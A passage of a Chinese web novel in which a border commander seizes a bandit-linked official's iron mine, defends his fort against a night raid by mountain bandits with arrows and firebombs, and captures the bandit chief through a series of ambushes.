“说起刘扒皮嘛!”秦猛状似不经意地提起,眼神锐利地扫过常九,打着官腔,巧立名目。
“这老货是个人物,攒下肥肥家资。奈何儿子不中用,贪赌好色,许多产业尽数输给了他人。”
常九唇角微弯,指尖轻轻拂过冰冷的城砖:“确实可惜。听说他在南河镇外有处码头,青阳县东街口还有两处位置极佳的绸缎铺子?”
两人目光一触即分,仿佛闲话家常,却字字机锋。
秦猛点头:“不错。他还有个酒庄,地段尚可。产业至少二十处,用来招商引粮倒正合适。”
几句话往来,如同高手弈棋落子,在夕阳余晖中,死鬼刘德才名下的商铺、码头产业被瓜分。
秦猛以边军驻守之威和后续即将“正名”的手段取得所有权后,自己占其中两成股份,余下作为筹码。
常九则心照不宣,到时会在置下的“暗子”届时会参与“招标”,拿下他觊觎已久的几家核心产业。
“如此甚好,”秦猛最后道,“常家供我粮秣军需,我南河堡为常家提供便利,供给雪花白盐。”
“各取所需,互行方便。”
两人有利益捆绑,达成了无声的同盟。
夜色渐浓,官署灯火通明,排摆酒宴。秦猛将常胖子及随行人员,一股脑儿塞给王老保长和诸葛风负责招待。
他则借口军务繁忙,匆匆离席,召集麾下众将。
此前,幽州漕运司下令,严令所有商船不得驶入小南运河。
更是放出话狠话,禁止商队胆敢贩卖一粒粮食、一尺布料给南河堡。
这是刘德福以权谋私,证据确凿。
“好个‘为民父母’的判官。”秦猛眼中寒光暴涨。
对方撕破脸皮公开针对边军,他便无需再顾及情面。
“秦大壮,张富贵!”秦猛厉声下令,“紧闭堡门,弓上弦刀出鞘,严加戒备,遇袭则鸣烽火。
乌维、王善、**率亲卫队,再点三十戍卒、五十壮劳力。备马,举火把,随我出堡。”
“是!”
不多时,马蹄如雷,一行近百骑在火把映照下,如一条火龙冲入沉沉黑夜,目标直指白松岭。
白松岭是边陲比较少有的山岭,不高却山势起伏、松林密布。
碗口粗的白皮松漫山遍野,形成墨绿底缀灰白的景致。
幽州地广少山寡矿,白松岭却是例外,山内藏着丰富的赤铁矿。
这是已故财主刘德才的产业之一。
当年他靠此矿赚得巨额财富,攒下南河镇码头、千顷良田、二三十家商铺及几座山头的产业。
刘家灭门后,产业表面归家里女眷,实则被刘德福安插亲信掌控。
刘家出事后,矿洞佃户苦工逃了大半。
刘德福急派心腹马六**接管,开采矿卖获利。
这马六满脸横肉、目露凶光,挨家威逼利诱,聚拢百十来号佃户,矿工,日夜开采铁矿。
其中好处他得分走一部分,矿工待遇可想认知。
矿洞深处空气污浊闷热,马灯昏黄火光摇曳,映着矿工佝偻黝黑、满是汗泥的脸,铁凿声不断回响。
“快,再磨蹭老子抽死你!”马六扯着嗓子咆哮,牛皮鞭抽在动作慢的矿工背上,留下血痕。
那矿工闷哼一声,咬牙继续抡锤。
马六叉腰冲众人嘶吼:“都玩命干,刘老爷说大主顾急着要铁,谁挖得少,今晚没窝头。”
他走到洞口,朝山林吐口痰,压低声音威胁:“都把眼睛放亮,谁敢夹藏矿石,卖给南河堡军汉,别怪六爷剥你皮喂野狗,滚回去干活!”
突然,就在这时,山下传来急促的马蹄声,由远及近如闷雷,还伴着厉喝和宿鸟惊飞声。
“六爷
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,不好了。”守道口的两个打手连滚带爬地跑回:“好多马,是戍堡边军打着火把来了!”
话音未落,大队骑兵已经追上来。
洞口被映得通红,秦猛一马当先,冲出树林。
戍卒,乡勇举火把紧随,如燃烧的火墙照亮矿场。
百余双带硝烟的眼睛,冰冷锁定惊愕的人群。
“不好。”马六上次押粮时见过秦猛,见他带大队人马来矿洞,且气势汹汹,心中暗道糟糕。
他二话不说,带着几个心腹往矿洞里面钻。除了想避而不见,就是想拿这些苦工当炮灰。
“马六,你要干什么?”老矿工李老汉扶住挨打的同伴,见外面情况,聚拢矿工堵住矿洞。
“老不死的,给我滚开。”
马六气急败坏,大声喝骂,抡鞭子要抽打老人。却被一个壮硕的矿工伸手抓住,狠狠扯过。
“你……”马六还想发狠,骑兵已经杀到。
“秦将军巡视,谁负责这座矿洞?滚上前答话。”
马六脸色发白,知道躲不过去,强撑胆色上前:“秦管队,不知深夜来这矿洞有何贵干?”
秦猛晋升为知寨官,没几个外人知道。
“哼,本将追捕**奸细,发现他们遁入白松岭。”秦猛斜瞥了眼这汉子,公事公办地回应。
“来人,给我搜查,但凡有可疑的人等,立刻抓捕。”
马六心里咯噔一声,明白对方哪里是抓**奸细。分明就是回应自家老爷的封运河而报复。
“秦管队,这是刘老爷的产业!你私闯想**?我家老爷是幽州府判官,朝廷不会放过你。”
秦猛端坐马上如冰冷铁塔,掏出卷轴抖开:“瞪大眼看着。这是白松岭地契凭证。刘耀宗半月前把山和矿抵赌债给我,有府衙红印。”
地契是真的,官印是萝卜刻的。
他目光盯在马六脸上:“从那时起,我便是矿主。你们擅采矿,形同盗掘官矿,罪加一等。”
“你胡说八……”马六话没说完。
“放肆。”秦猛抽刀出鞘,刀锋指向前方。
“冲进去,拿下盗贼,反抗者,格杀勿论!”
秦猛一声令下,王善等人怒吼着策马冲锋。
队伍一分为二,左右包抄。
马六等人都是地痞,哪见过边军冲锋?
几个吓尿了想跑,马六想顽抗,被乌维磕飞兵刃,一脚踹倒,戍卒涌上前将他们捆成粽子。
矿工们蜷缩在角落,惊惧地看着一切。
秦猛策马到众矿工面前,宝刀归鞘,敛去杀气:“诸位兄弟别怕,本官是南河堡寨知寨官秦猛,追捕**奸细,此矿已归边军所有!”
他语气真诚:“我知道你们被刘家压榨如牛马,今日本官要整顿这种陋**,善待诸位兄弟!”
秦猛环视众人:“愿效力者登记造册,就是堡寨编户军属,酬劳翻三倍,家眷有补贴,立功有赏,受伤有医治,每月还能休二日,如何?”
第62章 南河堡遇袭
“编户军属”和丰厚条件如明灯,矿工们难以置信。有人惊呼,有人揉眼,有人掐自己大腿。
“大人…此话当真?”李老汉沙哑着嗓子站起,盯着地契。
“可有凭证?”
“这片白松岭刘家已经输给我了。”
秦猛面不改色,义正言辞地表态。让**举着’赌债字据’与山岭地契展示:“白纸黑字,写得清楚,当事人画押,官印扣下,童叟无欺!”
李老汉看着红印,背脊挺直些,眼神闪了几下,纳头便拜,“扑通”跪倒:“小老儿李有田,做矿工三十年,愿追随大人,肝脑涂地!”
老人的声音决绝中,带着哽咽。
“好,李老丈。”秦猛眼中有赞赏,“你行事稳重,从今日起当矿工头,协助军士管此地矿务。”
“谢大人再造之恩!”
李有田激动得发抖,眼泪直流。
榜样的力量是无穷的,有人带头,就有人跟随。
李老汉一跪,他身边壮硕矿工张大胆也跪倒。
“大人,俺也跟着大人干。”
“好,你身强力壮,转正规边军,组建矿场自卫队。”
“谢大人器重。”张大胆喜不自禁,连忙拜倒叩谢。
接着,数十多个矿工纷纷磕头,愿追随秦猛。
那些被强征来的佃户要求回家,也被秦猛应允。声称帮忙搬运矿石,发放路费,吃饱再走。
令这些佃户们磕头谢秦老爷仁慈。
马六等人见矿工们倒戈,面如死灰。
“大人您看!这是上好的赤铁矿。”李有田从竹篓里捧出一块红褐色矿石,凑近秦猛的马。
他指着矿场堆积如山的铁矿石,如同献宝般:“赤铁矿含铁量足,能打造好多兵器盔甲!”
“甚好,有劳老丈帮衬。”秦猛看着红褐色的矿石堆和精神焕发的矿工,在马上露出真挚笑容。
“来人,装一批矿石运回堡。”
火光映在秦猛脸上,驱散夜寒与阴霾,预示着坚定的开始。
李有田立刻组织众人,矿工们干劲十足,将矿石搬上独轮车和拖车,脸上满是激动与憧憬。
“庞仁。”秦猛点将,“你率十二戍卒看管矿场,严守出入口。等天明后续人手来,再定规矩。”
“遵命!”庞仁抱拳领命。
队伍很快集结,秦猛带亲卫押着马六一伙在前,乡勇与矿工押数十车矿石紧随,王善率戍卒断后。
每辆车插着火把,火龙绵延至山下,满载而归。
……
夜色笼罩下的南河堡寨,却并不沉寂。
堡寨外新开辟的聚居区灯火闪烁,人声隐约。
炖煮食物的香气混合着柴火的气息,随着寒风飘上箭楼,两名轮值警戒的戍卒忍不住深吸了一口气。
“真香啊……”年轻些的张三咂咂嘴,望着下方绵延开去的屋舍和灯火,眼中满是感慨。
“四哥,你闻闻,这是肉汤的味道吧?搁两个月前,俺们还在地里刨食,做梦都不敢想能有今天。”
李四,一个面色黝黑的老兵,重重点头,粗糙的手掌摩挲着冰冷的弓臂,声音有些沙哑。
“是啊,多亏了秦知寨。要不是他收留,俺们这批从凉州逃来的,十个里不知道能活下来几个。”
“现在不仅能吃饱,军寨还给发了厚实的棉衣、棉被……这些,可都是要真金白银去换的。”
他们都是最早一批跟随秦猛来到南河堡的流民,亲身经历过颠沛流离、饥寒交迫的绝望。
此刻站在温暖的箭楼上,守护着这片新生的家园。触景生情,内心的感激几乎要满溢出来。
“秦知寨真是大善人,菩萨转世……”
张三低声念叨着,语气里充满了敬仰和庆幸。
李四刚想附和,脸色却猛地一变。
脚下坚实的新立箭楼似乎轻微地晃动了一下。
紧接着,一种低沉的、如同闷雷滚过大地般的隆隆声从远方传来,脚下的震颤感越来越清晰。
他们是西北边军,久在边境,对这种动静再熟悉不过。
“不好!”两人几乎同时惊呼出声,脸色瞬间煞白。
这是大队骑兵狂奔才能造成的动静,方向正朝着堡寨而来!
“敌袭!”李四蹲身,用尽全身力气,吹响了挂在颈间的号角,凄厉急促的声音瞬间划破夜空。
几乎在同一时间,张三抡起鼓槌,拼命敲响了身旁的铜锣。
“铛铛铛铛——!”
锣声尖锐刺耳,与号角声交织成最紧急的警报。
原本还算宁静的军寨瞬间“活”了过来!
火光迅速在各处亮起,脚步声、甲胄碰撞声、军官的吆喝声此起彼伏。
负责堡后门防务的队将王铁山最先被惊动,大声呼喝着组织戍卒队,乡勇自卫队登墙防守。
坐镇寨中的秦大壮率队冲上堡墙。
张富贵、李山、刘铁柱等队将骨干反应迅速。
张富贵本队骑兵守堡前门,其他人各率麾下队伍,朝着预感中压力最大的堡后门方向紧急增援。
袁飞、徐强也立刻集结了弓箭手队伍,快步跟上。
连铺屋内许多民壮也拎着新发的刀枪,出来相助。
堡墙之上,火把迅速被点燃,映照出一张张紧张却坚毅的面孔。
很快,黑压压的骑兵如同潮水般涌至堡外的新区边缘。
火光下,为首两人面目狰狞,正是冷艳山的大当家“黑山熊”严彪和三当家“索命虎”黄奎!
他们此次倾巢而出,率领两百骑兵、一百步卒。在有心人资助下,人穿皮甲,浑然不像山贼。意图趁夜突袭,一举踏平这座小小边堡。
然而,情况似乎有些不对劲。
冲到近前的严彪却猛地勒住战马,看着眼前的一幕,气得破口大骂:“**,怎么回事?哪来的墙?”
只见原本喽啰探查汇报中应该毫无遮拦的新区外围,赫然矗立
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着一堵高约四五米的墙体。
墙体在火把照耀下墙体可见沙土,竟像是冰筑而成。
严彪决定来袭击边堡,整顿人马时,就派了喽啰前来侦查,但喽啰畏寒怕死,怕被巡逻队发现,只远远看到新区内在热火朝天地建房。
便想当然地回报说只是个正在建设、并无围墙的松散土堡。
他们哪里想得到,这只是堡外新区。
秦猛极具远见,与泥瓦匠师傅们充分利用严冬气候,用木板,水和泥土混合浇筑,在外围构筑起了这道冰墙,就是为了防**骑兵突袭。
这下**兵没来,却被冷艳山贼撞上。
骑兵可不擅长攻坚,这堵高墙犹如一盆冷水。浇灭严彪心中杀意,打乱夜袭计划,令他怒不可遏。
然而,这冰墙还与堡寨主体相连,便于快速支援。
就在冷艳山匪众被这突如其来的防御工事惊得勒马发呆之际——
“嗖嗖嗖!”
密集的破空声骤然响起!
是弓箭手已经就位,毫不客气地率先发动了袭击。
冰冷的箭矢如同死神的镰刀,精准地落入拥挤在墙外的匪群中。
三棱箭头轻松撕开山贼身上的旧皮甲。
“啊!”
“我的眼睛!”
“弓箭手,快散开!”
凄厉的惨叫声顿时响成一片,不断有人中箭**,阵型一阵大乱。
“该死,给我找门。”
“找到门冲进去,杀光他们!”
严彪气得哇哇大叫,挥舞着鬼头刀,大声下令。
匪徒们立刻散开,沿着冰墙寻找入口。
很快,便发现了真正的堡寨和加固过的堡寨后门。
这座更高的堡墙更让贼匪龇牙咧嘴。
“该死,这是破土堡?”严彪咬牙切齿,没得选,立刻收拢队伍,朝着后门发起了疯狂的冲锋。
然而,他们再次失算。
几天前,**来袭,骑兵轮番冲击,差点破门而入。
秦猛在布置防御时,岂会留下如此明显的弱点?
后门外,工匠们同样利用地形,按照堡前门修建样式,构建了一个向内收缩的“喇叭口”地形。
逐渐收缩,白天不细看,难以发觉。
何况是在夜晚?冷艳山骑兵呐喊着,叫骂着,冲入其中,速度不由自主地降低,并且越发拥挤,靠近后门后,人马相撞,乱作一团。
就在此时,堡墙之上,火光大盛!
秦大壮、李山、刘铁柱,徐强等人指挥着守军,弓箭、滚木、礌石,如同雨点般向下倾泻。
“不是**,他们是汉人。”有人眼尖,认了出来。
“山贼,这伙人估计是山贼!”
“**,放箭,砸,给我狠狠地打!”
秦大壮勃然大怒,吼声,压过了匪徒的喧嚣。
一场激烈的攻防大战,就在这喇叭口,轰然爆发。
火光冲天,喊杀声、惨叫声、兵刃碰撞声震耳欲聋。
第63章 **之威
堡寨的攻防战已然进入白热化!
山贼们慌乱过后,不再一窝蜂乱冲。冷艳山的后续步卒赶来,扛着七八架木梯子猛烈来攻。
堡墙上箭矢如密雨般从垛口倾泻而下,礌石裹着风声砸向冰墙下的匪群,两者交织成死亡之网。每一次落下都伴随着外面凄厉的惨叫。
“不要乱,不要慌!”
“低头猫腰贴墙走,物资断了,咱们都得完!”
诸葛风左手攥着账本,右手拎着腰刀,额角渗着汗跑过堡墙通道。
他这书生闻讯赶来,负责调度民壮,运送物资。
民壮们两人一组抬着木桶,蒸汽顺着桶盖缝隙往外冒,他得算准批次让热水及时补到戍卒手里。
同时,他还要盯着仓库方向,确保成捆的箭矢能顺着绳梯源源不断往上送,半点不敢分心。
袁飞半蹲在垛口后,左手按着弓身,右手手指搭在弓弦上,眼睛死死盯着墙下移动的匪群。
他是飞虎卫里出了名的神箭手,呼吸压得极稳,只等某个匪徒抬头的瞬间,手指猛地一松。
——弓弦震颤的“嗡”声刚落,利箭便如流星般破空,精准穿透那匪徒胸前的皮甲,箭簇从后背穿出带起一串血珠。
紧接着,又是一箭,这次直中另一个正想搭梯的匪徒面门,那匪徒连哼都没哼一声,直挺挺地摔了下去。
短短片刻,他身前的箭囊就空了大半。
墙下却已多了七八具尸体,惨叫声此起彼伏。
戍卒们没袁飞那般精准的箭术,却有更直接的狠劲。两个戍卒合力抱起百斤重的礌石,脸憋得通红,朝着墙下匪群最密集的地方甩下去。
沉重的石块砸在人群中,“嘭”的一声闷响,瞬间就砸倒了三个匪徒。
其中一个被砸中胸口,骨头碎裂的脆响隔着夜色都清晰可闻,鲜血顺着石块缝隙往外渗,看得墙下其他匪徒一阵胆寒。
更让人意外的是新区安顿的流民们。
他们没穿铠甲,手里也没像样的兵器,有的抱着自家门后的顶门石,有的拎着装满沸水的汤罐、铁锅……
自发地挤来,帮忙运送物资。
有个老猎户拉动猎弓,虽没袁飞那般准头,却也能时不时射伤个匪徒,为戍卒们分担些压力。
看到流民都来支援,戍卒们士气大振,吼声如雷!
几个戍卒接过民壮递来的沸水罐,顺着堡墙的缝隙往下泼洒。
滚烫的沸水顺着墙面流淌,溅落在下方仰头往上爬的匪徒身上,瞬间浸透粗布衣物,烫得那些匪徒皮肤发红起泡,纷纷惨叫着滚落。
运气差些的匪徒正仰头往上喊,沸水直接浇透了他的头颅。
那匪徒当场发出撕心裂肺的惨叫,双手在脸上乱舞,从梯子上摔下去后还在地上翻滚,脸上的皮肤被烫得红肿,脱落,场面惨烈至极。
连墙下的匪徒都看得头皮发麻。
就在守军攻势正猛,匪群攻势渐弱时。数十个贼人趁着夜色的掩护,绕到了冰墙另一侧。
他们手里拿着简易的爬墙梯,猫着腰摸到墙根下,想趁着堡墙上守军注意力都在正面时,悄悄爬上去。
李山和刘铁柱因伤,负责调度物资。他俩放下箭矢,准备下堡墙,意外看见冰墙下的异动。
两人瞳孔一缩,看着那些贼人正快速把爬墙梯搭在墙上,几个匪徒已经踩着梯子往上爬。
他们没有作声,怕惊动贼人反而会让对方加快爬墙速度。
李山对着身边两个军卒比了个手势,压低声音喝令:“快去取**,仓库角落那批,用陶瓶装的,快。”
军卒们立刻跑向仓库,片刻后就抱来十几个陶瓶。陶瓶外缠着浸过火油的布条,瓶身还沾着些油星。
正是之前秦猛提过的杀器**!
“这玩意儿我只听过知寨提过,说能烧得贼人不敢靠近,今日便来试试!”
李山咬牙,用没受伤的右手接过一个陶瓶,凑到旁边民壮举着的火把前,点燃了陶瓶外的布条引信,看着火星顺着布条快速蔓延燃烧。
等了一个呼吸的功夫,他才猛地将瓶子朝着墙下匪兵最密集的地方掷去。
陶瓶刚一落地,就“轰隆”一声炸开!
火油混合着铝粉溅开,一丈多高的火焰瞬间冲天而起,橘红色的火光把周围照得如同白昼。
这火焰温度极高,火浪如同活物般向四周扩散,瞬间就将四五米范围内的七八个山贼裹入火海。
那些山贼浑身是火,在地上疯狂翻滚,可火油粘在衣物上根本扑不灭,火焰反而越烧越旺。
他们只能发出不似人声的凄厉吼叫,身上的皮肉被烧得“滋滋”响,吓得周围的山贼“妈呀”怪叫,四散逃窜,再也不敢靠近冰墙半步。
“好家伙,这威力竟这么大!”
李山看着眼前的景象,也有些发愣。
他此前只听秦猛提过这**,说火油和铝粉混在一起烧得更旺,却没想到实战中竟有这般震慑力,连他自己都被这火焰的威势惊到了。
“这是什么武器?竟能有这般威势?”
不
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远处的袁飞、徐强恰好全程目睹,瞠目结舌。
他们征战多年,见过军中的火箭、火油桶,却从没见过这么小巧、威力又这么大的装备。
一个陶瓶就能烧一片,比所谓的火箭管用多了。
没等众人缓过神,刘铁柱也抓起一个**,大喝一声:“看我的!让这些孙子知道厉害!”
他瞄准不远处扎堆的骑兵。
——那些骑兵正想冲过来掩护爬墙的步卒,此刻却停在原地不敢上前。
刘铁柱点燃引信,手臂用力,将陶瓶奋力甩出。
陶瓶在夜空中划过一道弧线,精准落在骑兵中间,又是一声“轰隆”巨响,火光再次冲天。
附近几匹战马瞬间被火焰燎到,马**燃起,身上还被飞溅的陶片划出数道血洞,吃痛之下扬起前蹄嘶鸣,差点把马背上的匪徒甩下去。
马背上的贼匪更是躲闪不及,火油溅了一身,瞬间变成火人,如同着火的车轮般惨叫着滚**下。
即便在地上翻滚,身上的火焰也越烧越旺,七八个呼吸后,只能凄惨地哼哼,再也爬不起来。
连续两声**彻底打乱了匪群的阵脚。
许多战马受了惊吓,挣脱缰绳,四处乱窜,将原本就混乱的匪兵撞得人仰马翻。
有的匪徒被撞翻,有的被马踩中腿,当场就断了骨头,哭喊声混在一起,让匪群彻底没了章法。
堡墙上的戍卒们却没有丝毫停顿。
十来个**先后被点燃,由李山、刘铁柱和几个力气大的戍卒轮流掷向匪群。
“轰隆隆——”
**声接连不断,一股股火焰在夜色中冲天而起。火借风势,可怕的高温席卷着整个战场。
连堡墙上的戍卒都能感受到扑面而来的热浪。
一个又一个火人在地上挣扎惨叫,空气中弥漫着焦糊味与血腥味,那味道刺鼻又恶心,让不少民壮都忍不住干呕。
冷艳山的贼匪彻底没了先前的嚣张,队形瞬间崩溃,一个个只想着转身逃命,连爬墙梯都扔在了地上。
“就是现在,冲!”
张富贵抓住战机,猛地从垛口站起来,高声怒吼。
他手里拎着狼牙棒,棒身上还沾着之前厮杀时的血渍,此刻眼神锐利如刀,死死盯着溃散的匪群。
袁飞、徐强立刻率领数十名精锐骑兵,朝着堡前门跑去。
寨门“嘎吱”一声被拉开,骑兵们策马疾驰而出,马蹄踏在冻土上发出“哒哒”的巨响,如同一把锋利的尖刀,直插溃散的匪群之中。
第64章 溃逃与伏击
“杀!”喊杀声响彻夜空!
骑兵们挥舞着马刀,刀光闪过,便有匪徒倒地。原本惨烈的攻防战,瞬间变成了一边倒的追击。
冷艳山的贼人本就被**炸得魂飞魄散,此刻又被张富贵,袁飞等人的骑兵冲得七零八落。
堡墙,冰墙上戍卒,乡勇呐喊,垂下绳子反击。
一时间,杀声震天。
贼人腹背受敌,节节溃败。
不少人慌不择路,要么被马刀砍倒,要么被同伴撞翻,还有些直接摔下马来,被后面逃窜的匪兵踩踏,连惨叫都发不出来。
张富贵的目标很明确,索命虎黄奎。
他看到那个魁梧壮汉正想往人群里躲,立刻拍马冲过去,狼牙棒带着呼啸的风声砸向黄奎。
黄奎仓促举刀格挡,“铛”的一声脆响,刀身与狼牙棒相撞。
他只觉得手臂发麻,虎口都被震裂,刀身险些脱手。
接下来,张富贵的攻势越来越猛,狼牙棒招招都往他要害打,黄奎只能左支右绌地勉强应对,根本挡不住张富贵的凶猛,脸上满是惊慌。
袁飞、徐强勇猛异常,领着十来个堡寨骑兵,摆出骑兵锥形阵冲锋,在匪群中左冲右突。
山贼混乱无队列,根本就挡不住他们。
堡兵马刀挥过,便能收割一条性命。
骑兵所过之处,肆意收割,贼人死伤一片,哀嚎不止,原本溃散的匪群更是被冲得四分五裂。
兵败如山倒!
黑山熊严彪站在混乱中,看着身边的弟兄一个个倒下,脸色铁青,满眼愤怒,心里又惊又怕。
——他原本以为边堡就是个好欺负的土围子,可没想到这里的守军不仅勇猛,还有**那样的厉害武器。
一炸一片,马儿受惊。
再打下去,他们这些人怕是都要交代在这里。
他心里对怂恿自己来攻打边堡的柳三恨极了。
若不是柳三说边堡守军弱、物资多,他也不会带着人来送死?
“风紧,扯呼!”严彪当机立断,再也不敢恋战,连忙朝着不远处岌岌可危的黄奎喊了一声。
他又招呼身边还能喘气的弟兄们,拼了命地往来时的方向逃窜。
他们不敢再和守军纠缠,只想着尽快逃离这个地方。丢盔弃甲,连滞留的同伴都顾不上了……
大当家带人跑了!
“跑啊!”山贼们一哄而散,只恨爹妈少生两条腿。
张富贵,袁飞等人想追却被溃兵阻挡。解决拦路之人再想去追贼头,却发现消失在黑夜中。
“兵法有云,穷寇莫追。”诸葛风爬上城墙高呼。
“诸位,以防范**为主。”
秦大壮,王铁山率领大队人马,从后门杀出来。四面包抄,围追堵截,驱赶抓捕逃窜的贼人……
冷月如钩,寒星零落。
严彪率残部纵马狂奔,马蹄踏碎冻土,在寂静的荒原上激起串串冰屑。
众人甲胄歪斜,血污满身,呼出的白气在须臾间凝成霜花。
“快,再快些!”严彪拼命抽打马臀,不断回头张望,总觉得黑暗中有一双眼睛在注视着他们。
忽然前方出现一片黑压压的桦树林,林间隐约有金属反光。
“停!”严彪猛地勒住缰绳,战马人立而起,发出惊恐的嘶鸣。
他眯起双眼,死死盯着林中若隐若现的寒光,那分明是铁甲映月的光泽!
话音未落,林中突然弓弦震响,数十支羽箭破空而至。箭簇撕裂空气的尖啸声令人胆寒。
紧接着,便是箭矢入肉的闷响。
惨叫声中,十多个贼兵应声**,有的被一箭穿喉,有的则被射穿胸甲,鲜血顿时染红了地面。
“奉秦将军令,王善在此恭候多时,贼人休走!”与此同时,一声雷霆般的怒吼从林中传出。
但见王善一马当先,率领三十余骑精锐如离弦之箭般杀出。
要问王善为何在这里堵截?
那是秦猛率队,押送着数十车矿石,返回边堡时。在半路上,却看到军堡那边火光冲天,杀声震天,大概位置是堡后门和新区爆发战斗。
他排除了是**来袭,猜到可能是冷艳山贼人来袭。相信以堡寨现有戍卒百八十,民壮两三百,又有**锏**,能够轻松击溃敌人。
于是并没有急着赶回去增援,而是找到大量杂乱的马蹄印记,乡勇和矿工被动员,分成多队,埋伏在险要之地,坐等溃兵,杀将出来。
王善率数十精锐为第一队杀处。他们每人穿铁甲,手中端着军制**,第二波箭雨已然上弦。
“杀,杀啊!”随着震天的喊杀声,林子里火光冲天,人影绰绰。乌维率领大队人马涌杀出来。
他这个如人熊般的铁甲壮汉,那震撼力无与伦比。
严彪惊得魂飞魄散,拨马就逃。
王善却并不追击,反而率部直插溃兵群中。手中铁枪舞动如龙,每一次突刺都精准地穿透贼兵咽喉。
鲜血喷溅在他玄甲上,在月光下泛着暗红的光泽。
乌维这大块头撞入敌群中,几乎与骑兵一般高。巨型弯刀旋转,几个骑兵就被打**下。
“该死,该死!”严彪听着身后不绝于耳的惨叫,脸色铁青。
他猛地想起这些年来为幽州官府做过的那些肮脏勾当。
——劫杀政敌,劫掠边民、贩卖人口,所得金银大半都孝敬了那些道貌岸然的官老爷。
如今这般阵仗,莫不是要被灭口?
残兵败将一路奔逃,待回过神来,只剩三十余骑相随。
三当家黄奎肩头还插着半截箭杆,鲜血不断从铁甲渗出。
他艰难地咽了口唾沫,声音沙哑:“大哥,咱们...还回山寨吗?”
严彪咬牙道:“必须回!老二手里还有百来号人,取了钱财再说!”
他下意识地摸了摸胸前暗袋,那里藏着他与某些官员往来的密信,几年来,一直贴身藏着。
若是能逃出生天
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,定要那些背信弃义之徒付出代价!
就在这时,夜风中忽然传来密集的马蹄声。声音由远及近,显然是有组织的骑队在包抄。
“嗖嗖”破空声再起,又一波箭雨自侧翼袭来。
这次来的竟是鸣镝,箭簇破空发出凄厉的尖啸,震慑人心。
是**率二十余骑如鬼魅般从夜色中杀出:“奉秦将军令,**在此恭候多时,贼首纳命来!”
**一马当先,**随即而至,直取黄奎面门。黄奎慌忙举刀相迎,“铛“的一声震响,火星四溅。他肩上伤口迸裂,鲜血顿时染红铁甲。
“走!”严彪见势不妙,顾不得部下,率先突围。
黄奎勉强挡开三枪,夺马紧随。
**同样没有追击,望着贼头逃窜,只是冷笑:“果然如秦大人所料,丧家之犬必走此道。”
随即率部剿杀残兵,箭矢专射人脸,不伤战马。
严彪一路狂奔,待回头时,身边仅剩五六骑相随。来时浩浩荡荡的两百铁骑,如今凄惶如此。
寒风吹拂他染血的战袍上,眼眶湿润。
至岔路口时,黄奎突然勒马。
他指着东南方向一条狭窄小道:“大哥,官军连设伏兵,前路必然凶险。这条小路绕过青阳县,虽崎岖难行,但足以避开埋伏。”
“就依贤弟。”严彪此刻已成惊弓之鸟,当即拨转马头。
一行人行至密林深处,四周寂静得可怕。
只有马蹄踏雪的声音和众人粗重的喘息。
忽然,林间传来一声轻微的机括声响。
“小心!“严彪话音未落,一支**箭已破空而来。
箭簇精准地洞穿一贼咽喉,余势不减,又将后排一贼钉在树干上。
马蹄声得得,秦猛单骑迎着月光冲来,踏雪乌骓喷吐白汽,马鞍旁挂着一具刚刚发射过的军**。
他猜到正常人接连被伏击,肯定走另一条路。手中铁枪寒芒闪烁,枪尖遥指贼众。
“北地秦猛,在此恭候多时了。“
严彪见只他一人,凶性顿起:“一起上,杀了他!“
黄奎虽然负伤,但见对方孤身一人,顿时恶向胆边生。他舞动鬼头刀,策马直扑而上。
“装神弄鬼,纳命来!“
秦猛不闪不避,乌骓马突然加速前冲。在两马交错瞬间,**如毒蛇出洞,后发先至。
枪尖精准地刺入黄奎心窝子,穿透背甲而出。
“噗嗤“一声,鲜血顺着血槽喷涌。
黄奎瞪大双眼,难以置信地看着没入胸膛的**,口中鲜血狂涌:“你…,不可...可能...“
秦猛手腕一抖,将尸身甩向后方贼众。
几个贼人慌忙躲闪,仍有两人被砸**下。
秦猛**再舞,如银蛇狂舞。
每一次刺击都精准致命,顷刻间,连毙数贼。
严彪见武艺高强的三当家竟走不过一合,吓得肝胆俱裂,哪里敢来斗秦猛,拨马再逃。
第65章 大胜擒贼首
“古人诚不欺我,知己知彼百战不殆。”
秦猛也不急着追赶,任由严彪仓皇逃入前方山谷。待其身影消失,嘴角方浮现一丝冷笑。
“走吧!对方好歹是大当家,去看看。”
他轻抚乌骓的鬃**,这匹神骏的马儿打了个响鼻,蹄下避开满地血污。不疾不徐地追入山谷。
无他,因为山谷后方还有伏兵。
严彪亡命奔逃,回头张望,见身后没人松了口气。刚跑出山谷,气还没喘匀,忽觉马身一沉。
“崩”的一声,一条绊马索应声弹起。
他胯下也是一匹马,察觉到危机,前蹄悬空,人立而起。将猝不及防的主人狠狠摔落在地。
这一摔力道极大,严彪只觉得五脏六腑都移了位,眼前金星乱冒。
“奉将军令,庞仁在此等候多时。”
这时,庞仁率众从山坡跃下,大网兜头罩落。网绳上缀着的铜铃叮当作响,在寂静的冬夜里格外清脆:“哈哈哈,严当家,急着走做甚?
请入瓮来!”
随后一群军汉一拥而上,将其死死摁在地上。踢掉武器,反扭胳膊,粗绳套住,五花大绑。
“就你这种货色也配来攻打咱堡寨?”
庞仁眼疾手快,一把拽住那匹黑马的缰绳,斜眼看着披头散发的严彪:“这好马,真白瞎了。”
“直娘贼,有种…有种放开老子……”
严彪作威作福惯了,闻言剧烈挣扎,大声叫骂。
“废话忒多,给老子走!”庞仁冷笑,使人随便纠结草叶揉成团,堵住他的嘴,推推搡搡前行。
行不多时,恰好遇到赶来的秦猛。
“大人神机妙算,贼头被抓住!”庞仁立刻上来献俘。
“此次抓住贼首,乃是全体之功。”秦猛笑着点头,缓缓策马而来,以枪尖挑起严彪下颌。
月光照在他冷峻的面容上,声音如寒冰刺骨:“严大当家,你果然来啦。押回军堡地牢。
让他与严虎见上一面,不日公审,让北疆百姓都看看,这就是为祸多年的冷艳山大当家。“
严彪在网中挣扎,忽然听见秦猛说与兄弟严虎见面。顿时恍然大悟,从头至尾,这就是局。
他面如死灰,再无反抗之力。
秦猛率队押着垂头丧气的严彪和一众俘虏,携着缴获,浩浩荡荡返回军堡。
沿途,庞仁带人打扫战场,不仅寻回受惊跑走的战马,还将黄奎等贼人头目的尸体搭在马背上。
队伍前行不久,便陆续与前方设伏的**、王善两队人马会合。
两队伏兵战绩亦是不斐。
山贼主力被击溃后,残兵败将心胆俱裂,仓皇逃窜至此,早已不成阵型,几乎没做像样的抵抗便彻底崩溃。
除了极少数贼人钻山沟侥幸逃脱,余者非死即降。
庞仁清点完俘虏,将后续事宜交给**等人,便牵着马匹,带着本队戍卒和矿工返回白松岭。
返程的车队规模比出发时庞大了何止一倍,增添了许多马匹和垂头丧气的俘虏,队伍蜿蜒。
